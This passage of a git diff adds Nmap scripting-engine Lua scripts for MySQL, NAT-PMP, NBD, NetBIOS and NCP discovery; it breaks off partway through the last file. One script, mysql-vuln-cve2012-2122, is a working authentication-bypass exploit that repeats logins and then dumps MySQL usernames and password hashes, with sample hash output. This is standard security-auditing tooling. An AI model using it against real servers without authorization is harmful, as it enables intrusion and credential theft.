+-- @args mysqluser The username to use for authentication. If unset it
+-- attempts to use credentials found by <code>mysql-brute</code> or
+-- <code>mysql-empty-password</code>.
+-- @args mysqlpass The password to use for authentication. If unset it
+-- attempts to use credentials found by <code>mysql-brute</code> or
+-- <code>mysql-empty-password</code>.
+--
+-- @output
+-- 3306/tcp open mysql
+-- | mysql-variables:
+-- | auto_increment_increment: 1
+-- | auto_increment_offset: 1
+-- | automatic_sp_privileges: ON
+-- | back_log: 50
+-- | basedir: /usr/
+-- | binlog_cache_size: 32768
+-- | bulk_insert_buffer_size: 8388608
+-- | character_set_client: latin1
+-- | character_set_connection: latin1
+-- | character_set_database: latin1
+-- | .
+-- | .
+-- | .
+-- | version_comment: (Debian)
+-- | version_compile_machine: powerpc
+-- | version_compile_os: debian-linux-gnu
+-- |_ wait_timeout: 28800
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "intrusive"}
+
+
+dependencies = {"mysql-brute", "mysql-empty-password"}
+
+-- Version 0.1
+-- Created 01/23/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+portrule = shortport.port_or_service(3306, "mysql")
+
+action = function( host, port )
+
+ local socket = nmap.new_socket()
+ local catch = function() socket:close() end
+ local try = nmap.new_try(catch)
+ local result, response = {}, nil
+ local users = {}
+ local nmap_args = nmap.registry.args
+ local status, rows
+
+ -- set a reasonable timeout value
+ socket:set_timeout(5000)
+
+ -- first, let's see if the script has any credentials as arguments?
+ if nmap_args.mysqluser then
+ users[nmap_args.mysqluser] = nmap_args.mysqlpass or ""
+ -- next, let's see if mysql-brute or mysql-empty-password brought us anything
+ elseif nmap.registry.mysqlusers then
+ -- do we have root credentials?
+ if nmap.registry.mysqlusers['root'] then
+ users['root'] = nmap.registry.mysqlusers['root']
+ else
+ -- we didn't have root, so let's make sure we loop over them all
+ users = nmap.registry.mysqlusers
+ end
+ -- last, no dice, we don't have any credentials at all
+ else
+ stdnse.debug1("No credentials supplied, aborting ...")
+ return
+ end
+
+ --
+ -- Iterates over credentials, breaks once it successfully receives results
+ --
+ for username, password in pairs(users) do
+
+ try( socket:connect(host, port) )
+
+ response = try( mysql.receiveGreeting( socket ) )
+ status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
+
+ if status and response.errorcode == 0 then
+ local status, rs = mysql.sqlQuery( socket, "show variables" )
+ if status then
+ for _, row in ipairs(rs.rows) do
+ table.insert(result, ("%s: %s"):format(row[1], row[2]) )
+ end
+ end
+ end
+
+ socket:close()
+ end
+
+ return stdnse.format_output(true, result)
+
+end
diff --git a/scripts/mysql-vuln-cve2012-2122.nse b/scripts/mysql-vuln-cve2012-2122.nse
new file mode 100644
index 0000000..a3b8122
--- /dev/null
+++ b/scripts/mysql-vuln-cve2012-2122.nse
@@ -0,0 +1,153 @@
+local mysql = require "mysql"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local vulns = require "vulns"
+local openssl = stdnse.silent_require "openssl"
+
+description = [[
+
+Attempts to bypass authentication in MySQL and MariaDB servers by
+exploiting CVE2012-2122. If its vulnerable, it will also attempt to
+dump the MySQL usernames and password hashes.
+
+All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are
+vulnerable but exploitation depends on whether memcmp() returns an
+arbitrary integer outside of -128..127 range.
+
+"When a user connects to MariaDB/MySQL, a token (SHA over a password
+and a random scramble string) is calculated and compared with the
+expected value. Because of incorrect casting, it might've happened
+that the token and the expected value were considered equal, even if
+the memcmp() returned a non-zero value. In this case MySQL/MariaDB
+would think that the password is correct, even while it is not.
+Because the protocol uses random strings, the probability of hitting
+this bug is about 1/256. Which means, if one knows a user name to
+connect (and "root" almost always exists), she can connect using *any*
+password by repeating connection attempts. ~300 attempts takes only a
+fraction of second, so basically account password protection is as
+good as nonexistent."
+
+Original public advisory:
+* http://seclists.org/oss-sec/2012/q2/493
+Interesting post about this vuln:
+* https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
+]]
+
+---
+-- @usage nmap -p3306 --script mysql-vuln-cve2012-2122 <target>
+-- @usage nmap -sV --script mysql-vuln-cve2012-2122 <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 3306/tcp open mysql syn-ack
+-- | mysql-vuln-cve2012-2122:
+-- | VULNERABLE:
+-- | Authentication bypass in MySQL servers.
+-- | State: VULNERABLE
+-- | IDs: CVE:CVE-2012-2122
+-- | Description:
+-- | When a user connects to MariaDB/MySQL, a token (SHA
+-- | over a password and a random scramble string) is calculated and compared
+-- | with the expected value. Because of incorrect casting, it might've
+-- | happened that the token and the expected value were considered equal,
+-- | even if the memcmp() returned a non-zero value. In this case
+-- | MySQL/MariaDB would think that the password is correct, even while it is
+-- | not. Because the protocol uses random strings, the probability of
+-- | hitting this bug is about 1/256.
+-- | Which means, if one knows a user name to connect (and "root" almost
+-- | always exists), she can connect using *any* password by repeating
+-- | connection attempts. ~300 attempts takes only a fraction of second, so
+-- | basically account password protection is as good as nonexistent.
+-- |
+-- | Disclosure date: 2012-06-9
+-- | Extra information:
+-- | Server granted access at iteration #204
+-- | root:*9CFBBC772F3F6C106020035386DA5BBBF1249A11
+-- | debian-sys-maint:*BDA9386EE35F7F326239844C185B01E3912749BF
+-- | phpmyadmin:*9CFBBC772F3F6C106020035386DA5BBBF1249A11
+-- | References:
+-- | https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
+-- | http://seclists.org/oss-sec/2012/q2/493
+-- |_ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2122
+--
+-- @args mysql-vuln-cve2012-2122.user MySQL username. Default: root.
+-- @args mysql-vuln-cve2012-2122.pass MySQL password. Default: nmapFTW.
+-- @args mysql-vuln-cve2012-2122.iterations Connection retries. Default: 1500.
+-- @args mysql-vuln-cve2012-2122.socket_timeout Socket timeout. Default: 5s.
+---
+
+author = "Paulino Calderon <calderon@websec.mx>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "intrusive", "vuln"}
+
+portrule = shortport.port_or_service(3306, "mysql")
+
+action = function( host, port )
+ local vuln = {
+ title = 'Authentication bypass in MySQL servers.',
+ IDS = {CVE = 'CVE-2012-2122'},
+ state = vulns.STATE.NOT_VULN,
+ description = [[
+When a user connects to MariaDB/MySQL, a token (SHA
+over a password and a random scramble string) is calculated and compared
+with the expected value. Because of incorrect casting, it might've
+happened that the token and the expected value were considered equal,
+even if the memcmp() returned a non-zero value. In this case
+MySQL/MariaDB would think that the password is correct, even while it is
+not. Because the protocol uses random strings, the probability of
+hitting this bug is about 1/256.
+Which means, if one knows a user name to connect (and "root" almost
+always exists), she can connect using *any* password by repeating
+connection attempts. ~300 attempts takes only a fraction of second, so
+basically account password protection is as good as nonexistent.
+]],
+ references = {
+ 'http://seclists.org/oss-sec/2012/q2/493',
+ 'https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql'
+ },
+ dates = {
+ disclosure = {year = '2012', month = '06', day = '9'},
+ },
+ }
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+ local socket = nmap.new_socket()
+ local catch = function() socket:close() end
+ local try = nmap.new_try(catch)
+ local result, response = {}, nil
+ local status
+ local mysql_user = stdnse.get_script_args(SCRIPT_NAME..".user") or "root"
+ local mysql_pwd = stdnse.get_script_args(SCRIPT_NAME..".pass") or "nmapFTW"
+ local iterations = stdnse.get_script_args(SCRIPT_NAME..".iterations") or 1500
+ local conn_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".socket_timeout"))
+ conn_timeout = (conn_timeout or 5) * 1000
+
+ socket:set_timeout(conn_timeout)
+
+ --
+ -- Chance of succeeding is 1/256. Let's try 1,500 to be safe.
+ --
+ for i=1,iterations do
+ stdnse.debug1("Connection attempt #%d", i)
+ try( socket:connect(host, port) )
+ response = try( mysql.receiveGreeting(socket) )
+ status, response = mysql.loginRequest(socket, {authversion = "post41", charset = response.charset}, mysql_user, mysql_pwd, response.salt)
+ if status and response.errorcode == 0 then
+ vuln.extra_info = string.format("Server granted access at iteration #%d\n", iterations)
+ vuln.state = vulns.STATE.EXPLOIT
+ --This part is based on mysql-dump-hashes
+ local qry = "SELECT DISTINCT CONCAT(user, ':', password) FROM mysql.user WHERE password <> ''"
+ local status, rows = mysql.sqlQuery(socket, qry)
+ socket:close()
+ if status then
+ result = mysql.formatResultset(rows, {noheaders = true})
+ vuln.extra_info = vuln.extra_info .. stdnse.format_output(true, result)
+ end
+ break
+ end
+ socket:close()
+ end
+
+ return vuln_report:make_output(vuln)
+end
diff --git a/scripts/nat-pmp-info.nse b/scripts/nat-pmp-info.nse
new file mode 100644
index 0000000..6351804
--- /dev/null
+++ b/scripts/nat-pmp-info.nse
@@ -0,0 +1,47 @@
+local natpmp = require "natpmp"
+local nmap = require "nmap"
+local shortport = require "shortport"
+
+description = [[
+Gets the routers WAN IP using the NAT Port Mapping Protocol (NAT-PMP).
+The NAT-PMP protocol is supported by a broad range of routers including:
+* Apple AirPort Express
+* Apple AirPort Extreme
+* Apple Time Capsule
+* DD-WRT
+* OpenWrt v8.09 or higher, with MiniUPnP daemon
+* pfSense v2.0
+* Tarifa (firmware) (Linksys WRT54G/GL/GS)
+* Tomato Firmware v1.24 or higher. (Linksys WRT54G/GL/GS and many more)
+* Peplink Balance
+]]
+
+---
+--@usage
+-- nmap -sU -p 5351 --script=nat-pmp-info <target>
+-- @output
+-- | nat-pmp-info:
+-- |_ WAN IP: 192.0.2.13
+-- @xmloutput
+-- <elem key="WAN IP">192.0.2.13</elem>
+-- @see nat-pmp-mapport.nse
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+
+portrule = shortport.port_or_service(5351, "nat-pmp", {"udp"} )
+
+action = function(host, port)
+ local helper = natpmp.Helper:new(host, port)
+ local status, response = helper:getWANIP()
+
+ if ( status ) then
+ nmap.set_port_state(host, port, "open")
+ port.version.name = "nat-pmp"
+ nmap.set_port_version(host, port)
+
+ return {["WAN IP"] = response.ip}
+ end
+end
diff --git a/scripts/nat-pmp-mapport.nse b/scripts/nat-pmp-mapport.nse
new file mode 100644
index 0000000..affc135
--- /dev/null
+++ b/scripts/nat-pmp-mapport.nse
@@ -0,0 +1,117 @@
+local natpmp = require "natpmp"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Maps a WAN port on the router to a local port on the client using the NAT Port Mapping Protocol (NAT-PMP). It supports the following operations:
+* map - maps a new external port on the router to an internal port of the requesting IP
+* unmap - unmaps a previously mapped port for the requesting IP
+* unmapall - unmaps all previously mapped ports for the requesting IP
+]]
+
+---
+-- @usage
+-- nmap -sU -p 5351 <ip> --script nat-pmp-mapport --script-args='op=map,pubport=8080,privport=8080,protocol=tcp'
+-- nmap -sU -p 5351 <ip> --script nat-pmp-mapport --script-args='op=unmap,pubport=8080,privport=8080,protocol=tcp'
+-- nmap -sU -p 5351 <ip> --script nat-pmp-mapport --script-args='op=unmapall,protocol=tcp'
+--
+-- @output
+-- PORT STATE SERVICE
+-- 5351/udp open nat-pmp
+-- | nat-pmp-mapport:
+-- |_ Successfully mapped tcp 1.2.3.4:8080 -> 192.168.0.100:80
+--
+-- @args nat-pmp-mapport.op operation, can be either map, unmap or unmap all
+-- o map allows you to map an external port to an internal port of the calling IP
+-- o unmap removes the external port mapping for the specified ports and protocol
+-- o unmapall removes all mappings for the specified protocol and calling IP
+--
+-- @args nat-pmp-mapport.pubport the external port to map on the router. The
+-- specified port is treated as the requested port. If the port is available
+-- it will be allocated to the caller, otherwise the router will simply
+-- choose another port, create the mapping and return the resulting port.
+--
+-- @args nat-pmp-mapport.privport the internal port of the calling IP to map requests
+-- to. This port will receive all requests coming in to the external port on the
+-- router.
+--
+-- @args nat-pmp-mapport.protocol the protocol to map, can be either tcp or udp.
+--
+-- @args nat-pmp-mapport.lifetime the lifetime of the mapping in seconds (default: 3600)
+--
+-- @see nat-pmp-info.nse
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+portrule = shortport.port_or_service(5351, "nat-pmp", {"udp"} )
+
+local arg_pubport = stdnse.get_script_args(SCRIPT_NAME .. ".pubport")
+local arg_privport= stdnse.get_script_args(SCRIPT_NAME .. ".privport")
+local arg_protocol= stdnse.get_script_args(SCRIPT_NAME .. ".protocol")
+local arg_lifetime= stdnse.get_script_args(SCRIPT_NAME .. ".lifetime") or 3600
+local arg_op = stdnse.get_script_args(SCRIPT_NAME .. ".op") or "map"
+
+local function fail(str) return stdnse.format_output(false, str) end
+
+action = function(host, port)
+
+ local op = arg_op:lower()
+
+ if ( "map" ~= op and "unmap" ~= op and "unmapall" ~= op ) then
+ return fail("Operation must be either \"map\", \"unmap\" or \"unmapall\"")
+ end
+
+ if ( ("map" == op or "unmap" == op ) and
+ ( not(arg_pubport) or not(arg_privport) or not(arg_protocol) ) ) then
+ return fail("The arguments pubport, privport and protocol are required")
+ elseif ( "unmapall" == op and not(arg_protocol) ) then
+ return fail("The argument protocol is required")
+ end
+
+ local helper = natpmp.Helper:new(host, port)
+
+ if ( "unmap" == op or "unmapall" == op ) then
+ arg_lifetime = 0
+ end
+ if ( "unmapall" == op ) then
+ arg_pubport, arg_privport = 0, 0
+ end
+
+ local status, response = helper:getWANIP()
+ if ( not(status) ) then
+ return fail("Failed to retrieve WAN IP")
+ end
+
+ local wan_ip = response.ip
+ local lan_ip = (nmap.get_interface_info(host.interface)).address
+
+ local status, response = helper:mapPort(arg_pubport, arg_privport, arg_protocol, arg_lifetime)
+
+ if ( not(status) ) then
+ return fail(response)
+ end
+
+ local output
+ if ( "unmap" == op ) then
+ output = ("Successfully unmapped %s %s:%d -> %s:%d"):format(
+ arg_protocol, wan_ip, response.pubport, lan_ip, response.privport )
+ elseif ( "unmapall" == op ) then
+ output = ("Sucessfully unmapped all %s NAT mappings for %s"):format(arg_protocol, lan_ip)
+ else
+ output = ("Successfully mapped %s %s:%d -> %s:%d"):format(
+ arg_protocol, wan_ip, response.pubport, lan_ip, response.privport )
+
+ if ( tonumber(arg_pubport) ~= tonumber(response.pubport) ) then
+ output = { output }
+ table.insert(output, "WARNING: Requested public port could not be allocated")
+ end
+ end
+
+ return stdnse.format_output(true, output)
+
+end
diff --git a/scripts/nbd-info.nse b/scripts/nbd-info.nse
new file mode 100644
index 0000000..ba233d0
--- /dev/null
+++ b/scripts/nbd-info.nse
@@ -0,0 +1,197 @@
+local nbd = require "nbd"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local tableaux = require "tableaux"
+
+description = [[
+Displays protocol and block device information from NBD servers.
+
+The Network Block Device protocol is used to publish block devices
+over TCP. This script connects to an NBD server and attempts to pull
+down a list of exported block devices and their details
+
+For additional information:
+* https://github.com/NetworkBlockDevice/nbd/blob/master/doc/proto.md
+]]
+
+---
+-- @usage nmap -p 10809 --script nbd-info <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 10809/tcp open nbd syn-ack
+-- | nbd-info:
+-- | Protocol:
+-- | Negotiation: fixed newstyle
+-- | SSL/TLS Wrapped: false
+-- | Exported Block Devices:
+-- | foo:
+-- | Size: 1048576 bytes
+-- | Transmission Flags:
+-- | SEND_FLUSH
+-- | READ_ONLY
+-- | SEND_FUA
+-- | bar:
+-- | Size: 1048576 bytes
+-- | Transmission Flags:
+-- | READ_ONLY
+-- |_ ROTATIONAL
+--
+-- @args nbd-info.export_names Either a single name, or a table of
+-- names to about which to request information from the server.
+
+author = "Mak Kolybabi <mak@kolybabi.com>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "intrusive"}
+
+portrule = shortport.version_port_or_service(10809, "nbd", "tcp")
+
+local enumerate_options = function(comm)
+ -- Run the LIST command and store the responses.
+ local req = comm:build_opt_req("LIST")
+ if not req then
+ return
+ end
+
+ local status, err = comm:send(req)
+ if not status then
+ stdnse.debug1("Failed to send option request: %s", err)
+ return nil
+ end
+
+ while true do
+ local rep = comm:receive_opt_rep()
+ if not rep or rep.rtype_name ~= "SERVER" then
+ break
+ end
+
+ comm.exports[rep.export_name] = {}
+ end
+end
+
+local newstyle_connection = function(comm, args)
+ local names = {}
+
+ for _, name in ipairs(args.export_name) do
+ table.insert(names, name)
+ end
+
+ for name, _ in pairs(comm.exports) do
+ table.insert(names, name)
+ end
+
+ for i, name in ipairs(names) do
+ if i ~= 1 then
+ local status = comm:reconnect()
+ if not status then
+ return
+ end
+ end
+
+ comm:attach(name)
+ end
+end
+
+local function parse_args()
+ local args = {}
+
+ local arg = stdnse.get_script_args(SCRIPT_NAME .. ".export-names")
+ if not arg then
+ -- An empty string for an export name indicates to the server that
+ -- we wish to attach to the default export.
+ arg = {}
+ elseif type(arg) ~= 'table' then
+ arg = {arg}
+ end
+ args.export_name = arg
+
+ return args
+end
+
+action = function(host, port)
+ local args = parse_args()
+
+ local comm = nbd.Comm:new(host, port)
+
+ local status = comm:connect(args)
+ if not status then
+ return nil
+ end
+
+ -- If the service supports an unrecognized negotiation, or the
+ -- oldstyle negotiation, there's no more information to be had.
+ if comm.protocol.negotiation == "unrecognized" or comm.protocol.negotiation == "oldstyle" then
+ -- Nothing to do.
+ comm:close()
+
+ -- If the service supports the (non-fixed) newstyle negotiation,
+ -- which should be very rare, we can only send a single option. That
+ -- option is the name of the export to which we'd like to attach.
+ elseif comm.protocol.negotiation == "newstyle" then
+ newstyle_connection(comm, args)
+
+ -- If the service supports the fixed newstyle negotiation, then we
+ -- can perform option haggling to wring additional information from
+ -- it.
+ elseif comm.protocol.negotiation == "fixed newstyle" then
+ enumerate_options(comm)
+ newstyle_connection(comm, args)
+
+ -- Otherwise, we've got a mismatch between the library and this script.
+ else
+ assert(false, "NBD library supports more negotiation styles than this script.")
+ end
+
+ -- Master output table.
+ local output = stdnse.output_table()
+
+ -- Format protocol information.
+ local protocol = stdnse.output_table()
+ if comm.protocol.negotiation == "oldstyle" and comm.exports["(default)"] then
+ if comm.exports["(default)"].hflags & nbd.NBD.handshake_flags.FIXED_NEWSTYLE then
+ protocol["Fixed Newstyle Negotiation"] = "Supported by service, but not on this port."
+ end
+ end
+ protocol["Negotiation"] = comm.protocol.negotiation
+ protocol["SSL/TLS Wrapped"] = comm.protocol.ssl_tls
+
+ output["Protocol"] = protocol
+
+ -- Format exported block device information.
+ local exports = stdnse.output_table()
+ local no_shares = true
+ local names = tableaux.keys(comm.exports)
+ -- keep exports in stable order
+ table.sort(names)
+ for _, name in ipairs(names) do
+ local info = comm.exports[name]
+ local exp = {}
+ if type(info.size) == "number" then
+ exp["Size"] = info.size .. " bytes"
+ end
+
+ if type(info.tflags) == "table" then
+ local keys = {}
+ for k, _ in pairs(info.tflags) do
+ if k ~= "HAS_FLAGS" then
+ table.insert(keys, k)
+ end
+ end
+ -- sort by bitfield flag value
+ table.sort(keys, function(a, b)
+ return nbd.NBD.transmission_flags[a] < nbd.NBD.transmission_flags[b]
+ end)
+ exp["Transmission Flags"] = keys
+ end
+
+ no_shares = false
+ exports[name] = exp
+ end
+
+ if not no_shares then
+ output["Exported Block Devices"] = exports
+ end
+
+ return output
+end
diff --git a/scripts/nbns-interfaces.nse b/scripts/nbns-interfaces.nse
new file mode 100644
index 0000000..5ab6b24
--- /dev/null
+++ b/scripts/nbns-interfaces.nse
@@ -0,0 +1,69 @@
+local shortport = require "shortport"
+local netbios = require "netbios"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Retrieves IP addresses of the target's network interfaces via NetBIOS NS.
+Additional network interfaces may reveal more information about the target,
+including finding paths to hidden non-routed networks via multihomed systems.
+]]
+
+---
+-- @usage
+-- nmap -sU -p 137 --script nbns-interfaces <host>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 137/udp open netbios-ns
+-- | nbns-interfaces:
+-- | hostname: NOTEBOOK-NB3
+-- | interfaces:
+-- | 10.5.4.89
+-- | 192.168.56.1
+-- |_ 172.24.80.1
+-- MAC Address: 9C:7B:EF:AA:BB:CC (Hewlett Packard)
+--
+-- @xmloutput
+-- <elem key="hostname">NOTEBOOK-NB3</elem>
+-- <table key="interfaces">
+-- <elem>10.5.4.89</elem>
+-- <elem>192.168.56.1</elem>
+-- <elem>172.24.80.1</elem>
+-- </table>
+---
+
+author = {"Andrey Zhukov from USSC"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"default", "discovery", "safe"}
+
+portrule = nmap.address_family() == 'inet' -- NBNS is IPv4 only
+ and shortport.portnumber(137, "udp")
+ or function () return false end
+
+get_ip = function (buf)
+ return table.concat({buf:byte(1, 4)}, ".")
+end
+
+action = function (host)
+ local output = stdnse.output_table()
+ local status, server_name = netbios.get_server_name(host)
+ if not (status and server_name) then
+ return stdnse.format_output(false, "Failed to get NetBIOS server name of the target")
+ end
+ local status, result = netbios.nbquery(host, server_name)
+ if not status then
+ return stdnse.format_output(false, "Failed to get remote network interfaces")
+ end
+ output.hostname = server_name
+ output.interfaces = {}
+ for _, v in ipairs(result) do
+ for i=1, #v.data, 6 do
+ output.interfaces[#output.interfaces + 1] = get_ip(v.data:sub(i+2, i+2+3))
+ end
+ end
+ return output
+end
diff --git a/scripts/nbstat.nse b/scripts/nbstat.nse
new file mode 100644
index 0000000..758cf30
--- /dev/null
+++ b/scripts/nbstat.nse
@@ -0,0 +1,244 @@
+local datafiles = require "datafiles"
+local netbios = require "netbios"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Attempts to retrieve the target's NetBIOS names and MAC address.
+
+By default, the script displays the name of the computer and the logged-in
+user; if the verbosity is turned up, it displays all names the system thinks it
+owns.
+]]
+
+---
+-- @usage
+-- sudo nmap -sU --script nbstat.nse -p137 <host>
+--
+-- @output
+-- Host script results:
+-- |_ nbstat: NetBIOS name: WINDOWS2003, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:c6:da:f5 (VMware)
+--
+-- Host script results:
+-- | nbstat: NetBIOS name: WINDOWS2003, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:c6:da:f5 (VMware)
+-- | Names:
+-- | WINDOWS2003<00> Flags: <unique><active>
+-- | WINDOWS2003<20> Flags: <unique><active>
+-- | SKULLSECURITY<00> Flags: <group><active>
+-- | SKULLSECURITY<1e> Flags: <group><active>
+-- | SKULLSECURITY<1d> Flags: <unique><active>
+-- |_ \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
+--
+-- @xmloutput
+-- <elem key="server_name">WINDOWS2003</elem>
+-- <elem key="workstation_name">WINDOWS2003</elem>
+-- <elem key="user">&lt;unknown&gt;</elem>
+-- <table key="mac">
+-- <elem key="manuf">VMware</elem>
+-- <elem key="address">00:0c:29:c6:da:f5</elem>
+-- </table>
+-- <table key="Names">
+-- <table>
+-- <elem key="name">WINDOWS2003</elem>
+-- <elem key="suffix">0</elem>
+-- <elem key="flags">1024</elem>
+-- </table>
+-- <table>
+-- <elem key="name">SKULLSECURITY</elem>
+-- <elem key="suffix">0</elem>
+-- <elem key="flags">33792</elem>
+-- </table>
+-- <table>
+-- <elem key="name">WINDOWS2003</elem>
+-- <elem key="suffix">32</elem>
+-- <elem key="flags">1024</elem>
+-- </table>
+-- <table>
+-- <elem key="name">SKULLSECURITY</elem>
+-- <elem key="suffix">30</elem>
+-- <elem key="flags">33792</elem>
+-- </table>
+-- <table>
+-- <elem key="name">SKULLSECURITY</elem>
+-- <elem key="suffix">29</elem>
+-- <elem key="flags">1024</elem>
+-- </table>
+-- <table>
+-- <elem key="name">\x01\x02__MSBROWSE__\x02</elem>
+-- <elem key="suffix">1</elem>
+-- <elem key="flags">33792</elem>
+-- </table>
+-- </table>
+-- <table key="Statistics">
+-- <elem>00 0c 29 c6 da f5 00 00 00 00 00 00 00 00 00 00 00</elem>
+-- <elem>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</elem>
+-- <elem>00 00 00 00 00 00 00 00 00 00 00 00 00 00</elem>
+-- </table>
+
+
+author = {"Brandon Enright", "Ron Bowes"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+-- Current version of this script was based entirely on Implementing CIFS, by
+-- Christopher R. Hertel.
+categories = {"default", "discovery", "safe"}
+
+
+hostrule = function(host)
+
+ -- The following is an attempt to only run this script against hosts
+ -- that will probably respond to a UDP 137 probe. One might argue
+ -- that sending a single UDP packet and waiting for a response is no
+ -- big deal and that it should be done for every host. In that case
+ -- simply change this rule to always return true.
+
+ local port_t135 = nmap.get_port_state(host,
+ {number=135, protocol="tcp"})
+ local port_t139 = nmap.get_port_state(host,
+ {number=139, protocol="tcp"})
+ local port_t445 = nmap.get_port_state(host,
+ {number=445, protocol="tcp"})
+ local port_u137 = nmap.get_port_state(host,
+ {number=137, protocol="udp"})
+
+ return (port_t135 ~= nil and port_t135.state == "open") or
+ (port_t139 ~= nil and port_t139.state == "open") or
+ (port_t445 ~= nil and port_t445.state == "open") or
+ (port_u137 ~= nil and
+ (port_u137.state == "open" or
+ port_u137.state == "open|filtered"))
+end
+
+
+action = function(host)
+
+ -- Get the list of NetBIOS names
+ local status, names, statistics = netbios.do_nbstat(host)
+ status, names, statistics = netbios.do_nbstat(host)
+ status, names, statistics = netbios.do_nbstat(host)
+ status, names, statistics = netbios.do_nbstat(host)
+ if(status == false) then
+ return stdnse.format_output(false, names)
+ end
+
+ -- Get the server name
+ local status, server_name = netbios.get_server_name(host, names)
+ if(status == false) then
+ return stdnse.format_output(false, server_name)
+ end
+
+ -- Get the workstation name
+ local status, workstation_name = netbios.get_workstation_name(host, names)
+ if(status == false) then
+ return stdnse.format_output(false, workstation_name)
+ end
+
+ -- Get the logged in user
+ local status, user_name = netbios.get_user_name(host, names)
+ if(status == false) then
+ return stdnse.format_output(false, user_name)
+ end
+
+ -- Format the Mac address in the standard way
+ local mac = {
+ address = "<unknown>",
+ manuf = "unknown"
+ }
+ if(#statistics >= 6) then
+ local status, mac_prefixes = datafiles.parse_mac_prefixes()
+ if not status then
+ -- Oh well
+ mac_prefixes = {}
+ end
+
+ -- MAC prefixes are matched on the first three bytes, all uppercase
+ local prefix = string.upper(stdnse.tohex(statistics:sub(1,3)))
+ mac.address = stdnse.format_mac(statistics:sub(1,6))
+ mac.manuf = mac_prefixes[prefix] or "unknown"
+
+ host.registry['nbstat'] = {
+ server_name = server_name,
+ workstation_name = workstation_name,
+ mac = mac.address
+ }
+ -- Samba doesn't set the Mac address, and nmap-mac-prefixes shows that as Xerox
+ if(mac.address == "00:00:00:00:00:00") then
+ mac.address = "<unknown>"
+ mac.manuf = "unknown"
+ end
+ end
+ setmetatable(mac, {
+ -- MAC is formatted as "00:11:22:33:44:55 (Manufacturer)"
+ __tostring=function(t) return string.format("%s (%s)", t.address, t.manuf) end
+ })
+
+ -- Check if we actually got a username
+ if(user_name == nil) then
+ user_name = "<unknown>"
+ end
+
+ local response = {
+ server_name = server_name,
+ workstation_name = workstation_name,
+ user = user_name,
+ mac = mac,
+ }
+
+ local names_output = {}
+ for i = 1, #names, 1 do
+ local name = names[i]
+ setmetatable(name, {
+ __tostring = function(t)
+ -- Tabular format with padding
+ return string.format("%s<%02x>%sFlags: %s",
+ t['name'], t['suffix'],
+ string.rep(" ", 17 - #t['name']),
+ netbios.flags_to_string(t['flags']))
+ end
+ })
+ table.insert(names_output, name)
+ end
+ setmetatable(names_output, {
+ __tostring = function(t)
+ local ret = {}
+ for i,v in ipairs(t) do
+ table.insert(ret, tostring(v))
+ end
+ -- Indent Names table by 2 spaces
+ return " " .. table.concat(ret, "\n ")
+ end
+ })
+
+ response["names"] = names_output
+
+ local statistics_output = {}
+ for i = 1, #statistics, 16 do
+ --Format statistics as space-separated hex bytes, 16 columns
+ table.insert(statistics_output,
+ stdnse.tohex(string.sub(statistics,i,i+16), {separator = " "})
+ )
+ end
+ response["statistics"] = statistics_output
+
+ setmetatable(response, {
+ __tostring = function(t)
+ -- Normal single-line result
+ local ret = {string.format("NetBIOS name: %s, NetBIOS user: %s, NetBIOS MAC: %s", t.server_name or t.workstation_name, t.user, t.mac)}
+ -- If verbosity is set, dump the whole list of names
+ if nmap.verbosity() >= 1 then
+ table.insert(ret, string.format("Names:\n%s",t.names))
+ -- If super verbosity is set, print out the full statistics
+ if nmap.verbosity() >= 2 then
+ -- Indent Statistics table by 2 spaces
+ table.insert(ret, string.format("Statistics:\n %s",table.concat(t.statistics,"\n ")))
+ end
+ end
+ return table.concat(ret, "\n")
+ end
+ })
+
+ return tostring(response)
+
+end
diff --git a/scripts/ncp-enum-users.nse b/scripts/ncp-enum-users.nse
new file mode 100644
index 0000000..73bf764
--- /dev/null
+++ b/scripts/ncp-enum-users.nse
@@ -0,0 +1,54 @@
+local ncp = require "ncp"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Retrieves a list of all eDirectory users from the Novell NetWare Core Protocol (NCP) service.
+]]
+
+---
+--
+--@output
+-- PORT STATE SERVICE REASON
+-- 524/tcp open ncp syn-ack
+-- | ncp-enum-users:
+-- | CN=admin.O=cqure
+-- | CN=cawi.OU=finance.O=cqure
+-- | CN=linux-l84tadmin.O=cqure
+-- | CN=nist.OU=hr.O=cqure
